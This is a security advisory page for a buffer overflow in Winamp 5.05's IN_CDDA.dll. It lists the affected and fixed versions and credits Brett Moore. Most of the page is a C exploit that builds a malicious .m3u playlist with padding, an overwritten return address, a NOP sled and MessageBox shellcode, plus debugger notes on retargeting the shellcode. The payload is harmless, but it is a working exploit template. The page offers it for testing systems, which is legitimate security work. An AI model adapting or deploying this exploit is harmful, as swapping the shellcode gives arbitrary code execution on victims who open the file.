SecuriTeam - Winamp IN_CDDA.dll Remote Buffer Overflow Exploit

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CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

As we reported in our previous article: Winamp IN_CDDA.dll Buffer Overflow, a vulnerability in Winamp's IN_CDDA.dll allows attackers to cause Winamp to execute arbitrary code by overflowing an internal buffer. The attached exploit code can be used to test your system for the mentioned vulnerability.

Credit:
The information has been provided by Brett Moore.

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Vulnerable Systems:
* Winamp version 5.05

Immune Systems:
* Winamp version 5.06
* Winamp version 2.91

Exploit:
/*

Credits go to the author

How to fix and study the bug:

* - The cdda library only reserves 20 bytes for names when files are "*.cda"
* - run Winamp with ollye
* - when loaded locate and break at:

10009BBB 8D4C24 20 LEA ECX,DWORD PTR SS:[ESP+20]
10009BBF 84C0 TEST AL,AL
10009BC1 74 0F JE SHORT in_cdda.10009BD2
10009BC3 3C 2E CMP AL,2E
10009BC5 74 0B JE SHORT in_cdda.10009BD2

that code copies and overwrites the stack if no '.' is found in the
first 20 bytes of the m3u entry. Entry must not have #EXTINF data or
it won't resolve.

* - name that entry like "C:\\1234567890abXXXX.cda" and xxxx will be your return address.
stack will be overwritten and exception occurs. When going out of that exception you'll be launched to padding.
* - look for .data section of in_cdda.dll and locate the shellcode or string, and update if needed the
field Location of shellcode (see host info). In my case it's x1002355b.
*/

#include <stdio.h> //File ops.

//m3u File format
//http://hanna.pyxidis.org/tech/m3u.html

// Host info:
// Name=ntdll (system)
// File version=5.1.2600.1217 (xpsp2.030429-213)
// Path=H:\WINDOWS\System32\ntdll.dll

// Name=in_cdda
// Base=10000000
// Size=00031000 (200704.)
// Entry=1000CE1A in_cdda.<ModuleEntryPoint>
// Path=H:\Archivos de programa\Winamp\Plugins\in_cdda.dll

#define HEADER "#EXTM3U\n"

//Simple MessageBox Shellcode spanish XP Pro: xpsp2.030429-213
//Address of MessageBoxA in xpsp2.030429-213: 77D3b064
char shellcode[]=
"C:\\1234567890ab" //Padding
"\x5b\x35\x02\x10" //Location of shellcode : +-x10 bytes
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xB8"
"\x75\xC1\xe4\x88" //Address of MessageBoxA + 0x11111111
"\x2D\x11\x11\x11\x11\x50\x59\x33\xc0\x50\x68\x42\x6f"
"\x6f\x6d\x54\x5a\x50\x50\x52\x50\x53\x51\xc3.cda\n\r";

//Shellcode:
//B8 75C1e488 MOV EAX,88e4C175 ; MessageBoxA + 0x11111111 to
//2D 11111111 SUB EAX,11111111 ; Make characters readable
//50 PUSH EAX ; xchg registers : eax = 77D3b064
//59 POP ECX ; Offset to API.
//33C0 XOR EAX,EAX ; Create Null
//50 PUSH EAX ; Put ascii0 end of string
//68 61616161 PUSH 6d6f6f42 ; Create string.
//54 PUSH ESP ; Get the offset to the
//5A POP EDX ; Message String
//MessageBox call
//50 PUSH EAX ; Null Pointer
//50 PUSH EAX ; Null Pointer
//52 PUSH EDX ; Message
//50 PUSH EAX ; Null Pointer
//53 PUSH EBX ; Return address: 0x00000000
//51 PUSH ECX ; Address of MessageBoxA
//C3 RETN ; Jump

int main(int argc, char* argv[]) {
FILE *fp;
char *sc=(char *)malloc(sizeof(shellcode)+1);

printf ("winamp 5.x m3u parsing poc - advisorie by Brett Moore\n");
printf ("Simple MessageBox Shellcode spanish XP Pro: xpsp2.030429-213\n");
printf ("Address of MessageBoxA in xpsp2.030429-213: 77D3b064\n");
printf ("Tested on Winamp 5.02\n\n");

if (sc == NULL) {
printf ("malloc error\n");
return -1;
}

memset(sc,'\0',sizeof(sc));
memcpy(sc, shellcode, sizeof(shellcode) );

fp = fopen ("test.m3u","w+");
if (!fp) {
printf (" error opening file.\n");
return -1;
}

fwrite (HEADER, 1, strlen (HEADER), fp);
fwrite (sc , 1, strlen(sc) , fp);
fclose (fp);

printf ("file test.m3u created. Just double click it.\n");
return 0;

}

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